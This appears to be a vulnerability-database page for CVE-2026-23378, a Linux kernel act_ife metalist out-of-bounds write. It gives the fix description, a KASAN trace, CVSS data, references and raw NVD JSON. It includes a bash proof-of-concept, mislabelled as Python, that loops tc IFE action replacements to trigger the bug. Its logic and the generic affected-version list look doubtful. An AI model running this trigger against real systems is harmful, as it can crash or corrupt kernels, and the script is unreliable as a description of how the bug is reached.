CVE-2026-23378

Description

In the Linux kernel, the following vulnerability has been resolved: net/sched: act_ife: Fix metalist update behavior Whenever an ife action replace changes the metalist, instead of replacing the old data on the metalist, the current ife code is appending the new metadata. Aside from being innapropriate behavior, this may lead to an unbounded addition of metadata to the metalist which might cause an out of bounds error when running the encode op: [ 138.423369][ C1] ================================================================== [ 138.424317][ C1] BUG: KASAN: slab-out-of-bounds in ife_tlv_meta_encode (net/ife/ife.c:168) [ 138.424906][ C1] Write of size 4 at addr ffff8880077f4ffe by task ife_out_out_bou/255 [ 138.425778][ C1] CPU: 1 UID: 0 PID: 255 Comm: ife_out_out_bou Not tainted 7.0.0-rc1-00169-gfbdfa8da05b6 #624 PREEMPT(full) [ 138.425795][ C1] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 138.425800][ C1] Call Trace: [ 138.425804][ C1] <IRQ> [ 138.425808][ C1] dump_stack_lvl (lib/dump_stack.c:122) [ 138.425828][ C1] print_report (mm/kasan/report.c:379 mm/kasan/report.c:482) [ 138.425839][ C1] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221) [ 138.425844][ C1] ? __virt_addr_valid (./arch/x86/include/asm/preempt.h:95 (discriminator 1) ./include/linux/rcupdate.h:975 (discriminator 1) ./include/linux/mmzone.h:2207 (discriminator 1) arch/x86/mm/physaddr.c:54 (discriminator 1)) [ 138.425853][ C1] ? ife_tlv_meta_encode (net/ife/ife.c:168) [ 138.425859][ C1] kasan_report (mm/kasan/report.c:221 mm/kasan/report.c:597) [ 138.425868][ C1] ? ife_tlv_meta_encode (net/ife/ife.c:168) [ 138.425878][ C1] kasan_check_range (mm/kasan/generic.c:186 (discriminator 1) mm/kasan/generic.c:200 (discriminator 1)) [ 138.425884][ C1] __asan_memset (mm/kasan/shadow.c:84 (discriminator 2)) [ 138.425889][ C1] ife_tlv_meta_encode (net/ife/ife.c:168) [ 138.425893][ C1] ? ife_tlv_meta_encode (net/ife/ife.c:171) [ 138.425898][ C1] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221) [ 138.425903][ C1] ife_encode_meta_u16 (net/sched/act_ife.c:57) [ 138.425910][ C1] ? __pfx_do_raw_spin_lock (kernel/locking/spinlock_debug.c:114) [ 138.425916][ C1] ? __asan_memcpy (mm/kasan/shadow.c:105 (discriminator 3)) [ 138.425921][ C1] ? __pfx_ife_encode_meta_u16 (net/sched/act_ife.c:45) [ 138.425927][ C1] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221) [ 138.425931][ C1] tcf_ife_act (net/sched/act_ife.c:847 net/sched/act_ife.c:879) To solve this issue, fix the replace behavior by adding the metalist to the ife rcu data structure.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 5.10 (需应用补丁)

Linux Kernel < 5.15 (需应用补丁)

Linux Kernel < 6.1 (需应用补丁)

Linux Kernel < 6.6 (需应用补丁)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# PoC for CVE-2026-23378: IFE metalist OOB Write
# This script demonstrates the trigger condition by repeatedly replacing IFE actions.
# Requires root privileges to manipulate tc (traffic control).

# Setup a dummy network interface for testing
ip link add dummy0 type dummy
ip link set dummy0 up

# Add ingress qdisc to attach the filter
tc qdisc add dev dummy0 handle ffff: ingress

# Add initial IFE action with specific metadata
tc filter add dev dummy0 parent ffff: protocol ip prio 1 \
    action ife encode allow \
    use mark 0xff

echo "[+] Triggering the vulnerability by replacing the IFE action..."
# The vulnerability occurs here: 'change' (replace) appends instead of replacing
# Loop to cause the metalist to grow unboundedly
for i in {1..1000}; do
    tc filter change dev dummy0 parent ffff: protocol ip prio 1 \
        action ife encode allow \
        use mark 0xff
    if [ $((i % 100)) -eq 0 ]; then
        echo "[-] Iteration $i: Metalist growing..."
    fi
done

echo "[+] Triggering encode operation (e.g., sending traffic)..."
# Sending traffic might trigger the OOB write in ife_tlv_meta_encode
ping -c 1 192.0.2.1 > /dev/null 2>&1 &

# Cleanup
tc qdisc del dev dummy0 ingress
ip link del dummy0
echo "[+] Done. Check dmesg for KASAN: slab-out-of-bounds reports."

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23378
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23378
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23378/
[4] VulDB https://vuldb.com/cve/CVE-2026-23378
[5] https://git.kernel.org/stable/c/56ade7ddea6ce605552341785d08e365c3f61861
[6] https://git.kernel.org/stable/c/5b1449301ca070814d866990b46f48d3f39ea4ee
[7] https://git.kernel.org/stable/c/691866c4cca54dc4df762276b49e89b36e046947
[8] https://git.kernel.org/stable/c/91a89d3bdc2f63d983adc13d1771631663c5dc1b
[9] https://git.kernel.org/stable/c/cd888c3966672239f2e0707b846a5a936ac9038a
[10] https://git.kernel.org/stable/c/e2cedd400c3ec0302ffca2490e8751772906ac23

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23378", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:37.643", "lastModified": "2026-04-24T15:57:11.227", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: act_ife: Fix metalist update behavior\n\nWhenever an ife action replace changes the metalist, instead of\nreplacing the old data on the metalist, the current ife code is appending\nthe new metadata. Aside from being innapropriate behavior, this may lead\nto an unbounded addition of metadata to the metalist which might cause an\nout of bounds error when running the encode op:\n\n[  138.423369][    C1] ==================================================================\n[  138.424317][    C1] BUG: KASAN: slab-out-of-bounds in ife_tlv_meta_encode (net/ife/ife.c:168)\n[  138.424906][    C1] Write of size 4 at addr ffff8880077f4ffe by task ife_out_out_bou/255\n[  138.425778][    C1] CPU: 1 UID: 0 PID: 255 Comm: ife_out_out_bou Not tainted 7.0.0-rc1-00169-gfbdfa8da05b6 #624 PREEMPT(full)\n[  138.425795][    C1] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011\n[  138.425800][    C1] Call Trace:\n[  138.425804][    C1]  <IRQ>\n[  138.425808][    C1]  dump_stack_lvl (lib/dump_stack.c:122)\n[  138.425828][    C1]  print_report (mm/kasan/report.c:379 mm/kasan/report.c:482)\n[  138.425839][    C1]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[  138.425844][    C1]  ? __virt_addr_valid (./arch/x86/include/asm/preempt.h:95 (discriminator 1) ./include/linux/rcupdate.h:975 (discriminator 1) ./include/linux/mmzone.h:2207 (discriminator 1) arch/x86/mm/physaddr.c:54 (discriminator 1))\n[  138.425853][    C1]  ? ife_tlv_meta_encode (net/ife/ife.c:168)\n[  138.425859][    C1]  kasan_report (mm/kasan/report.c:221 mm/kasan/report.c:597)\n[  138.425868][    C1]  ? ife_tlv_meta_encode (net/ife/ife.c:168)\n[  138.425878][    C1]  kasan_check_range (mm/kasan/generic.c:186 (discriminator 1) mm/kasan/generic.c:200 (discriminator 1))\n[  138.425884][    C1]  __asan_memset (mm/kasan/shadow.c:84 (discriminator 2))\n[  138.425889][    C1]  ife_tlv_meta_encode (net/ife/ife.c:168)\n[  138.425893][    C1]  ? ife_tlv_meta_encode (net/ife/ife.c:171)\n[  138.425898][    C1]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[  138.425903][    C1]  ife_encode_meta_u16 (net/sched/act_ife.c:57)\n[  138.425910][    C1]  ? __pfx_do_raw_spin_lock (kernel/locking/spinlock_debug.c:114)\n[  138.425916][    C1]  ? __asan_memcpy (mm/kasan/shadow.c:105 (discriminator 3))\n[  138.425921][    C1]  ? __pfx_ife_encode_meta_u16 (net/sched/act_ife.c:45)\n[  138.425927][    C1]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[  138.425931][    C1]  tcf_ife_act (net/sched/act_ife.c:847 net/sched/act_ife.c:879)\n\nTo solve this issue, fix the replace behavior by adding the metalist to\nthe ife rcu data structure."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nnet/sched: act_ife: Corregir el comportamiento de actualización de la metalista\n\nSiempre que una acción ife replace cambia la metalista, en lugar de reemplazar los datos antiguos en la metalista, el código ife actual está añadiendo los nuevos metadatos. Además de ser un comportamiento inapropiado, esto puede llevar a una adición ilimitada de metadatos a la metalista, lo que podría causar un error de fuera de límites al ejecutar la operación de codificación:\n\n[  138.423369][    C1] ==================================================================\n[  138.424317][    C1] BUG: KASAN: slab-out-of-bounds in ife_tlv_meta_encode (net/ife/ife.c:168)\n[  138.424906][    C1] Write of size 4 at addr ffff8880077f4ffe by task ife_out_out_bou/255\n[  138.425778][    C1] CPU: 1 UID: 0 PID: 255 Comm: ife_out_out_bou Not tainted 7.0.0-rc1-00169-gfbdfa8da05b6 #624 PREEMPT(full)\n[  138.425795][    C1] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011\n[  138.425800][    C1] Call Trace:\n[  138.425804][    C1]  \n[  138.425808][    C1]  dump_stack_lvl (lib/dump_stack.c:122)\n[  138.425828][    C1]  print_report (mm/kasan/report.c:379 mm/kasan/report.c:482)\n[  138.425839][    C1]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[  138.425844][    C1]  ? __virt_addr_valid (./arch/x86/include/asm/preempt.h:95 (discriminator 1) ./include/linux/rcupdate.h:975 (discriminator 1) ./include/linux/mmzone.h:2207 (discriminator 1) arch/x86/mm/physaddr.c:54 (discriminator 1))\n[  138.425853][    C1]  ? ife_tlv_meta_encode (net/ife/ife.c:168)\n[  138.425859][    C1]  kasan_report (mm/kasan/report.c:221 mm/kasan/report.c:597)\n[  138.425868][    C1]  ? ife_tlv_meta_encode (net/ife/ife.c:168)\n[  138.425878][    C1]  kasan_check_range (mm/kasan/generic.c:186 (discriminator 1) mm/kasan/generic.c:200 (discriminator 1))\n[  138.425884][    C1]  __asan_memset (mm/kasan/shadow.c:84 (discriminator 2))\n[  138.425889

... (truncated)